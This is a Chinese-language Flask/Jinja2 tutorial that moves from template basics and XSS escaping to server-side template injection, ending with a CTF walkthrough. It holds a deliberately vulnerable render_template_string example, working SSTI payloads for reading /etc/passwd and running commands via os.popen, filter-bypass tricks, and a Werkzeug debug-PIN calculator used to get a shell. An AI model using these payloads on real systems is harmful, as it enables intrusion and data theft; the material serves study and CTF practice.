Flask 框架的 XSS 和 SSTI 漏洞
Flask 是什么 Flask 是一个使用 Python 编写的轻量级 Web 应用框架,模板引擎使用 Jinja2
Flask 的基本使用 安装 Flask 库 1 python3 -m pip install flask
第一个 Hello, world! 1 2 3 4 5 6 7 8 9 10 11 from flask import Flask app = Flask(__name__) @app.route('/' ) def Hello_world (): return 'Hello, world!' if __name__ == '__main__' : app.run(debug=True , port=8080 )
内容解释:
第一行的 import:flask 是安装的库,Flask 是 flask 库里的一个类
第三行:实例化一个 Flask 类,命名为 app
第五行:使用一个函数装饰器来修饰函数 hello_world(),route() 里的是网站的根目录
第十一行:运行应用,参数表如下
编号
参数
描述
1
host
监听的主机名。默认为 127.0.0.1(localhost)。 设置为 0.0.0.0 使服务器在外部可用
2
port
监听端口号,默认为 5000
3
debug
默认为 false。 如果设置为 true,则提供调试信息
4
options
被转发到底层的 Werkzeug 服务器
模板 jinja2 相关知识
在 jinja2 中,存在四种语句:控制结构{% %}
、变量取值{{}}
、注释``、行语句# ... ##
jinja2 模板中使用{{}}
语法表示一个变量,它是一种特殊的占位符。当利用 jinja2 进行渲染的时候,它会把这些特殊的占位符进行填充 / 替换,jinja2 支持 Python 中所有的 Python 数据类型比如列表、字段、对象等
在 jinja2 引擎中,{{}}
不仅仅是变量标示符,也能执行一些简单的表达式
模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML 代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用
使用 HTML 模板 第一种:直接输出 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from flask import Flask app = Flask(__name__) @app.route('/' ) def Hello_world (): user = {'name' : 'Apple' } return ''' <html> <head> <title>Home Page</title> </head> <body> <h1>Hello, ''' + user['name' ] + '''</h1> </body> </html> ''' if __name__ == '__main__' : app.run(debug=True , port=8080 )
这样生成 HTML 代码有很多弊端,因此 flask 使用 jinja2 模板引擎来分离数据和展示层
第二种:使用模板 首先app.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flaskfrom flask import render_templatefrom flask import request app = Flask(__name__) @app.route('/' ) def Hello_world (): name = request.args.get('name' ) return render_template('index.html' , name=name) if __name__ == '__main__' : app.run(debug=True , port=8080 )
模板templates/index.html
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Flask</title > </head > <body > {% if name %} <h2 > Hello, {{ name }}</h2 > {% else %} <h2 > Hello</h2 > {% endif %} </body > </html >
模板控制语句 第一种:条件控制 使用格式如下:
1 2 3 4 5 6 7 {% if 条件1 %} 语句块1 {% elif 条件2 %} 语句块2 {% else %} 不符合所有条件 {% endif %}
举一个实例:
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flaskfrom flask import render_templatefrom flask import request app = Flask(__name__) @app.route('/' ) def Hello_world (): name = request.args.get('name' ) return render_template('index.html' , name=name) if __name__ == '__main__' : app.run(debug=False , port=8080 )
./templates/index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Flask</title > </head > <body > {% if name %} <h2 > Hello, {{ name }}</h2 > {% else %} <h2 > Fuck! Tell me your name!</h2 > {% endif %} </body > </html >
第二种:循环控制 使用格式如下:
1 2 3 4 5 {% for item in list %} list 不空时执行{% else %} list 为空时执行的默认语句块{% endfor %}
举一个实例:
app.py
1 2 3 4 5 6 7 8 9 10 11 12 from flask import Flaskfrom flask import render_template app = Flask(__name__) @app.route('/' ) def Hello_world (): list_in = ['Job' , 'Nike' , '???' ] return render_template('index.html' , list_in=list_in) if __name__ == '__main__' : app.run(debug=False , port=8080 )
./templates/index.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Flask</title > </head > <body > {% for item in list_in %} <p > Hello, {{ item }}</p > {% else %} <p > {{ "You can't get here" }}</p > {% endfor %} </body > </html >
第三种:过滤器 过滤器可以对变量加以滤器修改。过滤器通过管道符号|
与变量分隔,并且在括号中可以包含可选参数。一个变量可以链接多个过滤器。一个过滤器的输出可以应用于下一个过滤器。
例如,把hello
转大写字母
常用过滤器:
过滤器
说明
safe
禁止转义,渲染时不会转义特殊字符
capitallize
把首字母转大写,其他的字母转小写
lower
把所有的字母转小写
upper
把所有字母转大写
title
把每个单词的首字母转大写
trim
去掉首尾空格
striptags
去掉所有的 HTML 标签
join
将多个值拼接成字符串,类似 Python 的 join() 函数
replace
替换字符串的值
round
对数字四舍五入
int
转换成int类型
还存在列表过滤器,可对列表进行索引,排序,求和,求长等操作。还可以自定义过滤器详见:Jinja2常用模板语言(条件判断if,循环遍历for,过滤器)
Flask 中的 XSS 漏洞 在 Flask 中,使用render_template_string
(从字符串渲染)或render_template
(从文件渲染)渲染出来的 HTML 并不会出现 xss,例如上文的代码(使用 jinja2 模板)并不会出现 xss,同样下面的代码也不会出现 xss:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from flask import Flask, request, render_template_stringapp = Flask(__name__) @app.route('/' ) def main (): return '<a href="/xss">Test XSS</a>' @app.route('/xss' , methods=['GET' , 'POST' ] ) def xss (): template = ''' <form action="/xss" method="post"> <input type="text" name="input"/></br> <input type="submit" value="Submit"/> </form> </br> {{ _input }} ''' if request.method == 'GET' : return render_template_string(template) else : return render_template_string(template, _input =request.form["input" ]) if __name__ == '__main__' : app.run(host='127.0.0.1' , port=8080 )
这是因为{{}}
中的内容被 jinja 中的过滤了的缘故,特殊的字符被转义了,抓包或者查看 HTML 原始数据可以验证这一点:
1 < script> alert(0)< /script>
显示结果
描述
实体名称
实体编号
<
小于号
<
<
>
大于号
>
>
&
和号
&
&
“
引号
"
"
详细分析见:XSS防御——从Flask源码看XSS防御
Flask 中的 SSTI 漏洞 造成 SSTI 的原因 SSTI 服务端模板注入,SSTI 主要为 Python 的一些框架 jinja2、mako、tornado、django,PHP 框架 smarty、twig,Java 框架 jade、velocity 等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
漏洞示例 将参数当字符串来渲染并使用了传入的参数时,可能会导致模板渲染可控,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 from flask import Flask, request, render_template_stringapp = Flask(__name__) @app.route('/' , methods=['GET' , 'POST' ] ) def test (): code = request.args.get('test' ) template = '<html>%s</html>' % code return render_template_string(template) if __name__ == '__main__' : app.run(debug=False , port=8080 )
输入测试参数/?test={{7*7}}
,就会发现渲染被控制了,输出为49
。如果使用模板来渲染,就不会出现这样的情况。
Flask 中也有一些全局变量,使用?test={{config}}
就可以查看到,常用的配置及其含义:
1 2 3 4 5 6 7 ENV:测试环境 production:生产环境 development:开发环境 DEBUG:是否开启 debug 模式 SECRET_KEY:密钥字符串 JSON_AS_ASCII:是否以 ascii 编码展示响应报文 JSONIFY_MIMETYPE:响应报文类型
漏洞的利用 利用的方法:进行文件操作或者进行命令的执行
利用的思路 :找到父类 <type ‘object’> –> 寻找子类 subclasses() –> 找关于 命令执行 或者 文件操作 的模块
构造继承链的思路是:
随便找一个内置类对象用 class 拿到他所对应的类
用 bases 拿到基类(<class ‘object’>)
用 subclasses () 拿到子类列表
在子类列表中直接寻找可以利用的类
1 2 3 4 5 6 __class__ 返回调用的参数类型 __bases__ 返回基类列表 __mro__ 此属性是在方法解析期间寻找基类时的参考类元组 __subclasses__() 返回子类的列表 __globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量,与 func_globals 等价 __builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如 eval , exec , open 等等
一般情况下使用脚本找可利用类的索引,脚本大概是这样(针对题目 ,要随实际情况变化):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport reimport htmlimport timeindex = 0 for i in range (200 , 1000 ): try : url = "http://xxx/" data = "{{''.__class__.__mro__[1].__subclasses__()[" + str (i) + "]}}" url = url + "?name=" + data time.sleep(0.2 ) r = requests.get(url) r.encoding = 'utf-8' res = re.findall("I ♥ Flask & (.*)" , r.text) res = html.unescape(res[0 ]) print (str (i) + " | " + res) if "subprocess.Popen" in res: index = i break except : continue print ("index of subprocess.Popen:" + str (index))
还有一种脚本(针对题目 ,它也要随实际情况改写):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import reimport requestsfrom bs4 import BeautifulSoupurl = "http://xxx/" data = "{{''.__class__.__mro__[1].__subclasses__()}}" url = url + "?name=" + data r = requests.get(url) r.encoding="utf-8" soup = BeautifulSoup(r.text, "lxml" ) item = soup.find('div' , {"class" : "content-section" }).text item = re.sub('\[|\]' , '' , item) item = re.sub(' I ♥ Flask & ' , '' , item) item = item.split(',' ) print (item.index(" <class 'subprocess.Popen'>" ))
常用 Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 python3 文件读取:{{ ().__class__.__bases__[0 ].__subclasses__()[177 ].__init__.__globals__.__builtins__['open' ]('file' ).read() }} 命令执行:{{ config.__class__.__init__.__globals__['os' ].popen('ls' ).read() }} 命令执行:{{ lipsum.__globals__.__getitem__["os" ].popen("whoami" ).read() }} python2 文件读取:{{ '' .__class__.__mro__[2 ].__subclasses__()[40 ]('/etc/passwd' ).read() }} 文件读取:{{ ().__class__.__bases__[0 ].__subclasses__()[40 ]('/etc/passwd' ).readlines }} 文件读取:{{ ().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__.__builtins__['open' ]('/etc/passwd' ).read() }} 写文件:{{ '' .__class__.__mro__[2 ].__subclasses__()[40 ]('/tmp/1' ).write("" ) }} 命令执行:{{ '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('ls').read()" ) }} 命令执行:{{ '' .__class__.__mro__[2 ].__subclasses__()[40 ]('/tmp/owned.cfg' ,'w' ).write('code' ) }} {{ config.from_pyfile('/tmp/owned.cfg' ) }} python2、python3 共有,可命令执行: {% for c in ().__class__.__bases__[0 ].__subclasses__(): %} {% if c.__name__ == '_IterationGuard' : %} {{ c.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('ls').read()" ) }} {% endif %} {% endfor %} {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].eval ("__import__('os').popen('ls').read()" )}}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval' ]('__import__("os").popen("ls").read()' ) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
常用绕过
过滤关键词,使用 Base64 绕过
1 2 3 4 5 6 7 8 {{().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['X19idWlsdGluc19f' .decode('base64' )]['ZXZhbA==' .decode('base64' )]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ==' .decode('base64' ))}} {{().__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").popen("cat /flag").read().encode("base64")' )}}
过滤[]
等括号
1 2 {{ "" .class .bases.getitem(0 ) }}
过滤了 subclasses,拼凑法
1 2 {{ "" .class .bases[0 ]['subcla' +'sses' ] }}
过滤 class,使用 session
1 2 3 4 5 poc:{{ session['cla' +'ss' ].bases[0 ].bases[0 ].bases[0 ].bases[0 ].subclasses()[118 ] }} {{ session['__cla' +'ss__' ].__mro__[12 ] }} request{{ ['__cl' +'ass__' ].__mro__[12 ] }}
timeit 的使用
1 2 3 4 5 import timeittimeit.timeit("__import__('os').system('dir')" ,number=1 ) import platformprint platform.popen('dir' ).read()
其他
1 2 3 4 5 6 7 8 9 ''' 使用 attr 过滤器,对应 do_attr 即用来获取类的属性 由 getattr 函数来实现 {{config|attr("__class__")}} __getitem__ 方法返回键对应值,attr 过滤器获得类属性 ''' {{ get_flashed_messages }} {{ url_for }} {{% print (lipsum|attr("__globals__" ))|attr("__getitem__" )("os" )|attr("popen" )("whoami" )|attr(”read“)() %}}
一道 Flask 的 SSTI 题目 题目地址:[GYCTF2020]FlaskApp
打开题目场景是在线的 Base64 加密和解密,使用 Flask 搭建,在尝试解密时随便输入字符就会报错,读取到一部分的源码:
1 2 3 4 5 6 7 8 9 10 @app.route('/decode' ,methods=['POST' ,'GET' ] ) def decode (): if request.values.get('text' ) : text = request.values.get("text" ) text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}" .format (text_decode.decode()) if waf(tmp) : flash("no no no !!" ) return redirect(url_for('decode' )) res = render_template_string(tmp)
来试探下有没有 SSTI:先试了试{{3*3}}
先编码,再在网站解码,显示no no no !!
,结合上面的代码就知道被过滤掉了,再试了试{{3+3}}
,解码出来是 6,证明存在 SSTI,先来读取一下 waf 的代码
读取源码 1 2 3 4 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__' ].open ('app.py' ,'r' ).read() }} {% endif %}{% endfor %}
写成一行:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('app.py' ,'r' ).read() }}{% endif %}{% endfor %}
加密解密读取到 waf 部分代码:
1 2 3 4 5 6 7 8 9 10 11 def waf (str ): black_list = [ & ] for x in black_list: if x in str .lower(): return 1 @ app.route( &
字符串拼接绕过 从 black_list 得知了过滤的关键字,因为有 lower 方法,所以不能进行大小写、base64、hex 等方法进行绕过
先来读取下目录文件:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ]['__imp' +'ort__' ]('o' +'s' ).listdir('/' )}}{% endif %}{% endfor %}
编码解码,看到了this_is_the_flag.txt
,直接来读取:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('/this_is_the_fl' +'ag.txt' ,'r' ).read()}}{% endif %}{% endfor %}
编码解码得到 flag,还可以不使用字符串拼接来绕过,使用倒序输出来绕过(’xxx’[::-1]):
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('txt.galf_eht_si_siht/' [::-1 ],'r' ).read()}}{% endif %}{% endfor %}
同样编码解码得到 flag
利用 PIN 码 RCE 通过 PIN 码生成机制可知,需要获取如下信息
服务器运行 flask 所登录的用户名。通过/etc/passwd
中可以猜测为 flaskweb 或者 root,此处用的 flaskweb
modname,一般不变就是flask.app
getattr(app, "__name__", app.__class__.__name__)
,python 该值一般为 Flask,该值一般不变
flask 库下app.py
的绝对路径。报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
当前网络的 mac 地址的十进制数。通过文件/sys/class/net/eth0/address
获取(eth0 为网卡名)
机器的 id:对于非 docker 机每一个机器都会有自已唯一的 id Linux:/etc/machine-id
或/proc/sys/kernel/random/boot_i
,有的系统没有这两个文件 Windows:见链接 Flask debug 模式 PIN 码生成机制安全性研究笔记 docker:/proc/self/cgroup
首先获取 MAC 地址:
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('/sys/class/net/eth0/address' ,'r' ).read() }}{% endif %}{% endfor %}
得到: 02:72:a1:0c:bb:7a
再转换为十进制:2691351493498
,然后获取机器 id,读取/proc/self/cgroup
1 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__' ].open ('/etc/machine-id' ,'r' ).read() }}{% endif %}{% endfor %}
得到(最开始读取的是/proc/self/cgroup
发现后面计算出来的 PIN 一直是错的,换成了/etc/machine-id
读出来计算的 PIN 是对的):
1 1408f836b0ca514d796cbf8960e45fa1
计算 PIN 的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '2691351493498' , '1408f836b0ca514d796cbf8960e45fa1' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
得到:104-593-296
,在解码报错页面输入,获得交互式的 Shell,读取 flag
1 2 3 import os os.popen("ls -l /").read() os.popen("cat /this_is_the_flag.txt").read()
本文参考链接:
Jinja2常用模板语言
从零学习flask模板注入
GYCTF2020 FlaskApp
Flask 框架及其漏洞学习
Flask开启debug模式等于给黑客留了后门
Flask debug 模式 PIN 码生成机制安全性研究笔记
Jinja2常用模板语言(条件判断if,循环遍历for,过滤器)